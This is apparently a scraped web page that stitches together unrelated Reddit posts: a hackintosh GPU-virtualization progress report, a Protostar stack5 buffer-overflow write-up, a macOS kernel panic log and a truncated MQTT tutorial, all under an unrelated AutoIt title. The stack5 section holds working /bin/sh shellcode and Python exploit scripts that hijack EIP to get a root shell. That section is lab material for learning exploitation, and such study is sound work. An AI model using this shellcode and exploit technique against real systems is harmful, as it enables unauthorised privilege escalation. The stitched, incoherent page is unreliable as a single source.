Use RegExp on binary data - AutoIt General Help and

Catalina with Broadwell GVT-g on Linux [Take 2]

Catalina with Broadwell GVT-g on Linux [Take 2]
Hello again, Reddit!
We're back!
Life took over and high school didn't get any easier. My apologies for the 9 month delay in this promised continued attempt from the previous post: https://www.reddit.com/hackintosh/comments/c0nrc8/catalina_with_broadwell_gvtg_in_linux/
This is going to be a long post, as this project has had several incarnations and lots of people wondering about it. I will be reaching out to as many of you as possible now that the coronavirus has given me several weeks out of physical school.
Table of Contents
  1. Current Hardware/Software
  2. Modification attempts so far
  3. Details on current issues/failures
  4. Addressing 9 months worth of community backlog
  5. Plan for getting this to work
I. Current Hardware/Software configs
TL;DR: 1) Linux 5.6-rc7 WITH patch, 2) qemu 4.2.0, 3) Ubuntu 20.04 dev branch
I am still using OSX-KVM's basic setup, including their prebuilt clover and some inspiration from their ng boot script.
Time went on and I'm still with the same MacBookAir7,2 but now on Ubuntu 20.04 (focal) dev branch. I also have a clean 10.15.3 install (working and booting) along with a custom compiled 5.6-rc7 kernel WITH the following patch for edid on BDW host:
https://lists.freedesktop.org/archives/intel-gvt-dev/2019-Decembe006185.html
I have a custom compiled qemu-4.2.0 for the latest possible code. I'm sure it's been updated since I compiled it about 2 months ago and am working on updating it.
My boot config to facilitate debugging:
boot-args= -v amfi_get_out_of_my_way=0x1 serial=1 intcoproc_unrestricted=1 amfi_allow_any_signature=1 amfi_unrestrict_task_for_pid=1 PE_i_can_has_debugger=1
csr_active_config=0x80 (new value that unrestricts everything)
edid: I used https://edid.tv/edid/98/. Just download the binary and xxd -p it into the Clover Configurator CustomEDID blank. You can use any edid like this. You can also just use my config.plist from the drive folder; it has this already set.
If you'd like the full configs I'm using, please see the following google drive folder:
https://drive.google.com/drive/folders/1C4g2QxRB59biBb9qtx7hpVPZgQHttXOk?usp=sharing
If you're going to use the scripts I made, you'll need to edit:
make_vfio.sh: the chown line; replace with your user
qemu-install2.sh: drives, vfio path (if not using mine), net config (if not using mine)
net_kholia.sh: the tunctl command, replace my username with yours
II. Modification attempts so far
Clover: Right now, I have an ig-platform-id=0x16260006 to match my real macbook air. I also have set InjectIntel=true which seems to fix the new error: "[IGPU] Graphics driver failed to load: could not register with Framebuffer driver!".
Linux GVTg KERNEL: The edid BDW enablement patch is ONE of the two options for enabling QE/CI on the macOS accelerator kext. The other is a VM-side patch, possibly a binpatch or a clover EDID injection. I tried both; neither currently works.
Linux GVTg USERSPACE: No patches. I have a custom compiled, but vanilla, qemu 4.2.0.
macOS: no binpatches. It seems the kernel panic trigger that had to be binpatched in the past no longer exists, or perhaps the code has been rewritten internally. Reverse-engineering BDWGraphics to find out what is and isn't happening is definitely something to look to in the near future. It is possible that this was fixed by kvm.ignore_msrs=1 boot-arg, this linux arg also allows for non-penryn cpus to be used (I am using -cpu host in my qemu script).

III. Details on current issues/failures
  1. Current status: macOS booting with BDW kexts loaded but no display detected and possible BDW kext self-disabling.

https://preview.redd.it/3znp89wdano41.png?width=1280&format=png&auto=webp&s=4f008f37a44707dc1da28a628066be7698cb5093
qemu log shows: qemu-system-x86_64: vfio_pci_write_config(a297db4a-f4c2-11e6-90f6-d3b88d6c9525, 0x4, 0x900417, 0x4) failed: Bad address
This, along with the fact that the earlier kernel panic no longer occurs, AND the lack of BDW messages printed to kernel log, leads me to believe that somewhere in the BDW binary there is some logic failure. I may be wrong though:
Something seems to have changed, or it may just be me now with the MSR's being ignored having fixed the original panic that still could occur. Either way, there's no way to be sure if clover CustomEDID is working or not. It didn't work last time when the BDW kexts definitively did load and we saw printf's of it doing loading routines. There's a lot of uncertainty as I only just got this up and running today.
2) Kernel EDID patch: This came out around December and I'm very naive for not realizing I could've made this patch myself. It simply removed the Skylake/Kabylake platform detection logic and makes the edid function work on all platforms. Regardless, with the patch, a kernel oops occurs on the function intel_vgpu_reg_rw_edid in drivers/drm/i915/kvmgt.c. It is a null pointer dereference, working on getting the kprintf from it. This is a current area of attention. It may be because I'm using xres=1280 yres=800 on a GVT with maxres 1024x768, I'll work on using the 1920x1200 one instead and seeing if it still crashes.
The commit log for the patch from the intel guy said that all platforms should support the edid region. If anyone could test EDID on an "officially" supported platform, either Skylake or Kabylake, and see if you get the same oops with 5.6-rc7, please do so. If it just oopses on all platforms due to a regression, I may be able to compile a different kernel that doesn't cause a dereference. If Broadwell really doesn't support the EDID region when forced to, then this may be a blocking issue for the whole project (I don't possess any later hardware). WORKING ON THIS RIGHT NOW
IV. Addressing 9 months worth of community backlog
I don't want to be the kid whining about high school. I generally do very well, but it definitely takes some effort being at a infamously-academically difficult private school in the Orlando area. Now that we're "off" for several weeks, I'm prepared to dedicate a lot of time to getting this furthered.
amorooc ct_the_man_doll I saw your thread here: https://www.reddit.com/VFIO/comments/a2bnv3/state_of_gvtg_macos_support/
Please let me know all your questions! I will be active on reddit through the next several weeks. Have y'all been doing GVT-g since then?
TheRacerMaster I'd love to hear your thoughts. Have you been in the GVT-g scene since the High Sierra attempt? Contact me if you'd like to work on this privately; otherwise this post should be good to document progress for everyone.
spicypixel I saw your comment on the original Catalina attempt, as of now it is no longer abandoned!
davidgarazaz lilolalu please take a look here!
TrashConvo it's working but no display yet. I have screensharing on and using that to force using the BDW (-vga none).
/u/WesolyKubeczek you have the most promising story. I may be able to get there if I can get BDW edid working (not supported by a simple logic fail on kvmgt.c). Please tell us about if you ever got anywhere further?
8700t I'm curious: what binpatches with lilu? How did your demo work?
sobe3249 yes, I have the same vfio invalid issue. Currently investigating. Help would be appreciated!


If there's anyone I've missed, I didn't forget about you. This project has definitely grown further than I ever expected it to, beyond a weekend attempt. I'm crossposting this to several subreddits to make sure everyone who I wasn't able to get to in 9 months has a chance to participate in some real progress once more.
Thank you all! Looking forward to hearing from all of you.
V. Plan for getting this to work.
  1. Kernel EDID oops: working on this. If I can get this to work, then we may be a step away from QE/CI as the drivers seem to load?
  2. BDWGraphics: there are no longer any printfs and a weird pci invalid region. Any thoughts on this? No kernel panic anymore, it's likely due to the msr's being ignored with boot-arg. But there's no [IGPU] init printfs anymore. That worries me, though it could just be a code rewrite by Apple/Intel.
  3. Qemu: currently working on the crash connected to the edid patch.
Theoretically, all we need to get working is an EDID injection. It could be in Clover, another bootloader, or in the linux kernel vfio itself. Perhaps that new hip bootloader that everyone's suddenly using would be worth trying if it has edid patching functionality? I have no idea what it is besides that its called OpenCore or something like that.
submitted by newhacker1746 to hackintosh [link] [comments]

Protostar stack5 shellcode not working in the buffer (outside is ok)

Protostar Stack5 buffer overflow (32 bits shellcode)
I got a strange behaviour (strange maybe not BUT that I could not explain :-)
When I put the shellcode inside the buffer it does not work but when outside all is working fine.
It's protostart stack5 binary in it's original VM (constructed from Iso on linux 32 bits) so I would not give further info on the binary itself (stack is executable, ASLR is off, ....)
Let me explain and let's go with gdb !

Finding the buffer overflow
gdb$ disass _start Dump of assembler code for function _start: 0x08048310 <_start+0>: xor ebp,ebp 0x08048312 <_start+2>: pop esi 0x08048313 <_start+3>: mov ecx,esp 0x08048315 <_start+5>: and esp,0xfffffff0 0x08048318 <_start+8>: push eax 0x08048319 <_start+9>: push esp 0x0804831a <_start+10>: push edx 0x0804831b <_start+11>: push 0x80483e0 0x08048320 <_start+16>: push 0x80483f0 0x08048325 <_start+21>: push ecx 0x08048326 <_start+22>: push esi 0x08048327 <_start+23>: push 0x80483c4 # Real Entry point 0x0804832c <_start+28>: call 0x80482f8 <[email protected]> 0x08048331 <_start+33>: hlt 0x08048332 <_start+34>: nop 0x08048333 <_start+35>: nop (....) 
let's disass main
gdb$ disass main Dump of assembler code for function main: 0x080483c4 : push ebp # Prologue... 0x080483c5 : mov ebp,esp # ... 0x080483c7 : and esp,0xfffffff0 # ... adress alignement 0x080483ca : sub esp,0x50 # ... reserve space on stack 0x080483cd : lea eax,[esp+0x10] # adress start of buffer 0x080483d1 : mov DWORD PTR [esp],eax # put the arg on the stack 0x080483d4 : call 0x80482e8 [email protected] # call to gets (char*) 0x080483d9 : leave 0x080483da : ret End of assembler dump. 
Let's retrieve EBP adress and value:
gdb$ x/wx $ebp 0xbffff7b8: 0xbffff838 

Let's retrieve EIP address and it's value
gdb$ x/wx $ebp+0x4 0xbffff7bc: 0xb7eadc76 
Let's check EIP return adress to be sure we're fine:
gdb$ x/5i 0xb7eadc76 0xb7eadc76 <__libc_start_main+230>: mov DWORD PTR [esp],eax 0xb7eadc79 <__libc_start_main+233>: call 0xb7ec60c0 <*__GI_exit> 0xb7eadc7e <__libc_start_main+238>: xor ecx,ecx 0xb7eadc80 <__libc_start_main+240>: jmp 0xb7eadbc0 <__libc_start_main+48> 0xb7eadc85 <__libc_start_main+245>: mov eax,DWORD PTR [ebx+0x37d4] 
Good ! It's back on __libc_start_main.

Let's get the buffer (gets) start adress :
p/x $esp+0x10 $1 = 0xbffff770 

Write the most important values for our exploitation:
---Reminder------------------------------------------------------- RET EBP : 0xbffff7b8: 0xbffff838 RET EIP : 0xbffff7bc: 0xb7eadc76 buffer start adress: 0xbffff770 ----------------------------------------------------------------- 
Let's do some computation to overwrite EIP
# EIP's address - buffer's address # gdb$ p/d 0xbffff7bc - 0xbffff770 # $1 = 0x76 
We need 76 bytes then we can start to overwrite EIP ( + 4 byte for EIP )
python -c 'print "A"*72 + "BBBB" + "CCCC"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 
A is Padding B is EBP C is EIP

Let's try our buffer overflow !
./stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC dmesg [50576.044013] stack5[13898]: segfault at 43434343 ip 43434343 sp bffff7e0 error 4 
EIP has been overwritten and it is working fine (43 in ASCII => 'C') !

Shellcode Exploitation
We will use a well known and working shellcode :
https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running-shellcode
shellcode is 58 bytes. We will construct our payload like that:
5 (NOP) + 58 (Shellcode) + 9 (PADDING-NOP) + 4 (EBP) + 4 (EIP) = 76 + 4 EIP bytes as computed 
Important : here I put the shellcode IN the buffer
r <<< $(python -c 'print "\x90"*5 + "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*9 + "\x38\xf8\xff\xbf" + "\x70\xf7\xff\xbf"') 
\x38\xf8\xff\xbf = EBP original adress = 0xbffff838
\x70\xf7\xff\xbf = overwritten EIP= buffer start adress = 0xbffff770

In GDB break juste before the ret instruction and check esp to be sure it will jump where we want
gdb$ x/wx $esp 0xbffff7bc: 0xbffff770 
Well this good for the next eip adress ! check to see if our shellcode is always there
x/30i 0xbffff770 0xbffff770: nop 0xbffff771: nop 0xbffff772: nop 0xbffff773: nop 0xbffff774: nop 0xbffff775: add esp,0x10 0xbffff778: xor eax,eax 0xbffff77a: xor ebx,ebx 0xbffff77c: mov al,0x6 0xbffff77e: int 0x80 0xbffff780: push ebx 0xbffff781: push 0x7974742f 0xbffff786: push 0x7665642f 0xbffff78b: mov ebx,esp 0xbffff78d: xor ecx,ecx 0xbffff78f: mov cx,0x2712 0xbffff793: mov al,0x5 0xbffff795: int 0x80 0xbffff797: xor eax,eax 0xbffff799: push eax 0xbffff79a: push 0x68732f2f 0xbffff79f: push 0x6e69622f 0xbffff7a4: mov ebx,esp 0xbffff7a6: push eax 0xbffff7a7: push ebx 0xbffff7a8: mov ecx,esp 0xbffff7aa: cdq 0xbffff7ab: mov al,0xb 0xbffff7ad: int 0x80 0xbffff7af: nop 
On GDB Perfect it is working !
gdb$ c Executing new program: /bin/dash $ 
out of GDB it is NOT working anymore:
same payload than in gdb
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*9 + '\x38\xf8\xff\xbf' + '\x70\xf7\xff\xbf')";) | ./stack5 
or (overwrite EBP)
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*13 + '\x70\xf7\xff\xbf')";) | ./stack5 
The only thing I get : Illegal instruction! Here a strace if it can help ...
execve("./stack5", ["./stack5"], [/* 16 vars */]) = 0 brk(0) = 0x804a000 fcntl64(0, F_GETFD) = 0 fcntl64(1, F_GETFD) = 0 fcntl64(2, F_GETFD) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0 mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320m\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1319176, ...}) = 0 mmap2(NULL, 1329480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e97000 mprotect(0xb7fd5000, 4096, PROT_NONE) = 0 mmap2(0xb7fd6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13e) = 0xb7fd6000 mmap2(0xb7fd9000, 10568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd9000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e96000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e966c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fd6000, 8192, PROT_READ) = 0 mprotect(0xb7ffe000, 4096, PROT_READ) = 0 munmap(0xb7fdc000, 13796) = 0 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "\220\220\220\220\220\203\304\0201\3001\333\260\6\315\200Sh/ttyh/dev\211\3431\311f"..., 4096) = 80 read(0, "", 4096) = 0 --- SIGILL (Illegal instruction) @ 0 (0) --- +++ killed by SIGILL +++ Illegal instruction 
Questions / Others informations
I know there could be some adress change caused by ENVs vars but I do not think that is the problem... but I have no evidence.

Just for the exemple Shellcode After EIP (outside the buffer) : everything is OK
[email protected]:/opt/protostabin$ (python -c "import sys; sys.stdout.write('\x90'*76 + '\xc0\xf7\xff\xbf' + '90'*10 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')";) | ./stack5 # whoami root 

EDIT :
I add python script exploit for reference :

Shellcode inside the buffer (not working)
import struct totalpad = 76 # Total bytes needed to start overwriting EIP NOP = "\x90" * 5 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" EIP = struct.pack("I", 0xbffff770) nbpad = totalpad - len(NOP) - len(shellcode) PAD = 'A' * nbpad print NOP + shellcode + PAD + EIP 
Shellcode outside the buffer (working good)
import struct NOP1 = "\x90" * 76 EIP = struct.pack("I", 0xbffff7c0) NOP2 = "\x90" * 10 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" print NOP1 + EIP + NOP2 + shellcode 
EDIT : shellcode inside the buffer is now working :-)
When executing outside gdb and attaching to the process I see that the start of the buffer is located at another memory adress.
So instead of hardcoding EIP start of buffer I use a register to jump to.
Hopefully there is one that hold the good adress: eax
Here is the working exploit of Shellcode inside the buffer:
import struct totalpad = 76 # Total bytes needed to start overwriting EIP # Little NOP Slide NOP = "\x90" * 2 # Shellcode maintaing / reopening stdin (for gets exploitation) shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # Buffer start adress is 0xbfff770 but to hardcode adress is unreliable # EIP = struct.pack("I", 0xbffff770) # We will use a register to jump on the start of the buffer # We know debugging the program that eax contain the adress we want # We look with objdump -D stack5 -M intel | grep call | grep eax # 80483bf: ff d0 call eax # 804846b: ff d0 call eax # We have to adress that will call eax so that can trigger our exploit ! # EIP will call the adress that will "call eax" EIP = struct.pack("I", 0x80483bf) # We let EBP option either to rewrite trash or to use its original adress EBP = struct.pack("I", 0xbfff7b8) #EBP = "BBBB" nbpad = totalpad - len(NOP) - len(shellcode) - len(EBP) PAD = 'A' * nbpad # our payload print NOP + shellcode + PAD + EBP + EIP 
Usage :
$ python /home/usepython_exploits/stack5_inside_buffer.py | /opt/protostabin/stack5 # whoami root 
Stéphane
submitted by tequilaweb81 to LiveOverflow [link] [comments]

OpenCore KP (sleep?) on Haswell System (z87)

New to OpenCore but most mornings i awake to my computer sleeping but booted to windows. MacOS 10.15 is my daily driver so I'm getting a Kernel panic at some point and the system is rebooting to windows. (which means that it is also clearing my NVRAM since Windows is option 1 in OC and Catalina is option 2). You can see my config file here:
https://www.insanelymac.com/forum/topic/338516-opencore-discussion/?page=130&tab=comments#comment-2709364

System:
GA-z87x-UD5H, 4770k, nVidia 780 (using Mac drivers).

Any ideas?

panic(cpu 3 caller 0xffffff7f87fde306): NVRM[0/1:0:0]: Read Error 0x00070000: CFG 0x100410de 0x00100000 0x00000000, BAR0 0xf5000000 0xffffff81fe1d1000 0x0f0040a1, D3, P0/4 Backtrace (CPU 3), Frame : Return Address 0xffffff92105baea0 : 0xffffff800713bb2b mach_kernel : _handle_debugger_trap + 0x47b 0xffffff92105baef0 : 0xffffff80072734d5 mach_kernel : _kdp_i386_trap + 0x155 0xffffff92105baf30 : 0xffffff8007264f4e mach_kernel : _kernel_trap + 0x4ee 0xffffff92105baf80 : 0xffffff80070e2a40 mach_kernel : _return_from_trap + 0xe0 0xffffff92105bafa0 : 0xffffff800713b217 mach_kernel : _DebuggerTrapWithState + 0x17 0xffffff92105bb0a0 : 0xffffff800713b5fb mach_kernel : _panic_trap_to_debugger + 0x21b 0xffffff92105bb0f0 : 0xffffff80078d2aa9 mach_kernel : _panic + 0x61 0xffffff92105bb160 : 0xffffff7f87fde306 com.apple.nvidia.driver.NVDAResman : _osReadRegistryBinary + 0x470 0xffffff92105bb1e0 : 0xffffff7f880ab11b com.apple.nvidia.driver.NVDAResman : _gpuExecRegOps + 0xd386 0xffffff92105bb240 : 0xffffff7f8a315dea com.apple.nvidia.driver.NVDAGK100Hal : __ZN12NVDAGK100HAL5probeEP9IOServicePi + 0x1d880 0xffffff92105bb290 : 0xffffff7f8a315d13 com.apple.nvidia.driver.NVDAGK100Hal : __ZN12NVDAGK100HAL5probeEP9IOServicePi + 0x1d7a9 0xffffff92105bb2d0 : 0xffffff7f87fc4e11 com.apple.nvidia.driver.NVDAResman : _rmGenerateSha256Gid + 0x72c5 0xffffff92105bb370 : 0xffffff7f880c5280 com.apple.nvidia.driver.NVDAResman : _vpHalIfacesSetup_VGPUSTUB + 0x51cd 0xffffff92105bb3d0 : 0xffffff7f87fad4b7 com.apple.nvidia.driver.NVDAResman : _nvErrorLog_va + 0x6c2d 0xffffff92105bb470 : 0xffffff7f87fa5370 com.apple.nvidia.driver.NVDAResman : _rmFreeInternal + 0x12c 0xffffff92105bb4d0 : 0xffffff7f87fa53df com.apple.nvidia.driver.NVDAResman : _rmFreeInternal + 0x19b 0xffffff92105bb500 : 0xffffff7f87fa2b72 com.apple.nvidia.driver.NVDAResman : _osReadRegistryString + 0x75f 0xffffff92105bb5a0 : 0xffffff7f87fe2b1c com.apple.nvidia.driver.NVDAResman : _insert_registration_func + 0x1308 0xffffff92105bb720 : 0xffffff7f87fe358d com.apple.nvidia.driver.NVDAResman : _NvRmFree + 0x66 0xffffff92105bb810 : 0xffffff7f8848898e com.apple.GeForce : __ZN8nvMemory14DestroySurfaceEP16__GLNVsurfaceRec + 0x70 0xffffff92105bb860 : 0xffffff7f884569ab com.apple.GeForce : __ZN15nvBaseAllocator24DestroySingleEmptyBufferEP19__GLNVallocatorHeapP28__GLNVallocatorBufferListRech + 0xf3 0xffffff92105bb890 : 0xffffff7f884580c2 com.apple.GeForce : __ZN15nvBaseAllocator4FreeEP21nvAllocatorAllocation + 0x56 0xffffff92105bb8c0 : 0xffffff7f88458d0c com.apple.GeForce : __ZN11nvAllocator11FreeVirtualEP21nvAllocatorAllocation + 0x4a 0xffffff92105bb8e0 : 0xffffff7f884ad473 com.apple.GeForce : __ZN16nvVirtualAddress4freeEv + 0x3d 0xffffff92105bb900 : 0xffffff7f8844e0a0 com.apple.GeForce : __ZN11nvMemoryMap21freeGPUVirtualAddressEv + 0x66 0xffffff92105bb920 : 0xffffff7f883bdf18 com.apple.iokit.IOAcceleratorFamily2 : __ZNK16IOAccelMemoryMap7releaseEv + 0x8e 0xffffff92105bb940 : 0xffffff7f883a6218 com.apple.iokit.IOAcceleratorFamily2 : __ZN11IOAccelTask23prune_orphaned_mappingsEv + 0x6c 0xffffff92105bb980 : 0xffffff7f883713e5 com.apple.iokit.IOAcceleratorFamily2 : __ZN13IOAccelMemory19createMappingInTaskEP11IOAccelTaskj + 0x1bb 0xffffff92105bb9c0 : 0xffffff7f884a11fa com.apple.GeForce : __ZN11nvSysMemory19createMappingInTaskEP11IOAccelTaskj + 0x1a 0xffffff92105bb9f0 : 0xffffff7f883949bb com.apple.iokit.IOAcceleratorFamily2 : __ZN16IOAccelResource23mapEv + 0x183 0xffffff92105bba30 : 0xffffff7f883996fa com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient212new_resourceEP22IOAccelNewResourceArgsP28IOAccelNewResourceReturnDatayPj + 0x904 0xffffff92105bba80 : 0xffffff7f8839aee9 com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient214s_new_resourceEPS_PvP25IOExternalMethodArguments + 0x97 0xffffff92105bbac0 : 0xffffff800786739b mach_kernel : __ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x1db 0xffffff92105bbb10 : 0xffffff7f8839b0e2 com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient214externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x80 0xffffff92105bbb60 : 0xffffff8007870443 mach_kernel : _is_io_connect_method + 0x223 0xffffff92105bbca0 : 0xffffff8007222d12 mach_kernel : _iokit_server_routine + 0x4e62 0xffffff92105bbdb0 : 0xffffff80071419d8 mach_kernel : _ipc_kobject_server + 0x238 0xffffff92105bbe10 : 0xffffff8007118635 mach_kernel : _ipc_kmsg_send + 0x135 0xffffff92105bbe70 : 0xffffff800712f0e5 mach_kernel : _mach_msg_overwrite_trap + 0x2e5 0xffffff92105bbf00 : 0xffffff800724b575 mach_kernel : _mach_call_munger64 + 0x205 0xffffff92105bbfa0 : 0xffffff80070e3226 mach_kernel : _hndl_mach_scall64 + 0x16 Kernel Extensions in backtrace: com.apple.nvidia.driver.NVDAResman(14.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000->0xffffff7f88248fff dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IONDRVSupport(569.4)[EACCC42A-9D18-383E-BF13-51910962371C]@0xffffff7f87f55000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.AppleGraphicsDeviceControl(4.7.2)[2F63196D-03C6-3E49-BE5D-574F4AADED1A]@0xffffff7f87f65000 com.apple.nvidia.driver.NVDAGK100Hal(14.0)[D9BD5415-852D-3F99-B5D9-9E4FD7CABEEC]@0xffffff7f8a2f7000->0xffffff7f8a4a2fff dependency: com.apple.nvidia.driver.NVDAResman(14.0.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000 dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 com.apple.iokit.IOAcceleratorFamily2(438.3.1)[66992525-3204-3CB0-8F03-4B70031B1CF2]@0xffffff7f8836f000->0xffffff7f88432fff dependency: com.apple.driver.AppleMobileFileIntegrity(1.0.5)[A243D030-19AC-30AA-AC70-6C786DF9E6CE]@0xffffff7f88345000 dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IOSurface(269.6)[42377B3B-D14A-368E-820F-07E7EA666198]@0xffffff7f87ec5000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.iokit.IOReportFamily(47)[988360A2-2E10-3014-A119-BE81BC045A10]@0xffffff7f88368000 com.apple.GeForce(14.0)[4CC8D53A-2090-3437-99E7-AA7D85AB765C]@0xffffff7f88447000->0xffffff7f88523fff dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IOSurface(269.6)[42377B3B-D14A-368E-820F-07E7EA666198]@0xffffff7f87ec5000 dependency: com.apple.iokit.IONDRVSupport(569.4)[EACCC42A-9D18-383E-BF13-51910962371C]@0xffffff7f87f55000 dependency: com.apple.nvidia.driver.NVDAResman(14.0.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.iokit.IOAcceleratorFamily2(438.3.1)[66992525-3204-3CB0-8F03-4B70031B1CF2]@0xffffff7f8836f000 BSD process name corresponding to current thread: WindowServer Boot args: keepsyms=1 Mac OS version: 19D76 Kernel version: Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64 Kernel UUID: Kernel slide: 0x0000000006e00000 Kernel text base: 0xffffff8007000000 __HIB text base: 0xffffff8006f00000 System model name: iMac14,2 (Mac-27ADBXXXXXXXXXXXXXX) System shutdown begun: NO Panic diags file available: YES (0x0) System uptime in nanoseconds: 29872005688305 
submitted by Flyinace2000 to hackintosh [link] [comments]

How to use MQTT packet to implement publish and subscribe functions

How to use MQTT packet to implement publish and subscribe functions
The MQTT protocol communicates by exchanging predefined MQTT control packets. We will take MQTTX as an example to show how to implement the publish and subscribe function through MQTT packets.

Connect

MQTT protocol is based on the TCP / IP protocol. Both the MQTT Broker and the Client need a TCP / IP address.

Broker


https://preview.redd.it/v9qbuy7evdj41.png?width=2050&format=png&auto=webp&s=dbaab27a06de41db61dcb0aca168cfd6f9ffa564
If you don't have an available MQTT broker for the time being, **EMQ X**provides a public broker address for testing: broker.emqx.io: 1883 .

Client


https://preview.redd.it/f64a74wfvdj41.png?width=2050&format=png&auto=webp&s=ecd816203e26a04b5d4172ecdf6e33f3e65d5013
The configuration of the Client in the MQTTX tool is actually the configuration of the Connect packets in the MQTT protocol. The following explains the related configuration items:

Client ID

The server uses the ClientId to identify the client. Each client that connects to the server has a unique ClientId. Both the client and server must use the ClientId to identify the status related to the MQTT session between them.
The ClientId must exist, but the server can allow the client to provide a zero-byte ClientId. If this is done, the server must treat this as a special case and assign a unique ClientId to that client. Then, it can process this CONNECT packet normally.

